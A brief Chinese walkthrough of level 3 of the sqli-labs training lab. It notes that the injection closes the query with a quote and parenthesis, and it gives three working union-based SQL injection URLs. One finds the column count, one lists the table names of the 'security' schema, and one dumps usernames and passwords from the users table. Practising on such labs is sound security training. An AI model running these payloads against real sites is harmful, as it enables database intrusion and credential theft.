sqli_labs第3关

第三关

和以前不同的是第三关用括号闭合，加个1’)就行了，其他一样

http://121.196.164.91:7001/Less-3/?id=1%27)%20union%20select%201,2,3–+

http://121.196.164.91:7001/Less-3/?id=-1%27)%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27–+

http://121.196.164.91:7001/Less-3/?id=-1%27)%20%20union%20select%201,2,concat_ws(%27~~%27,username,password)%20from%20users–+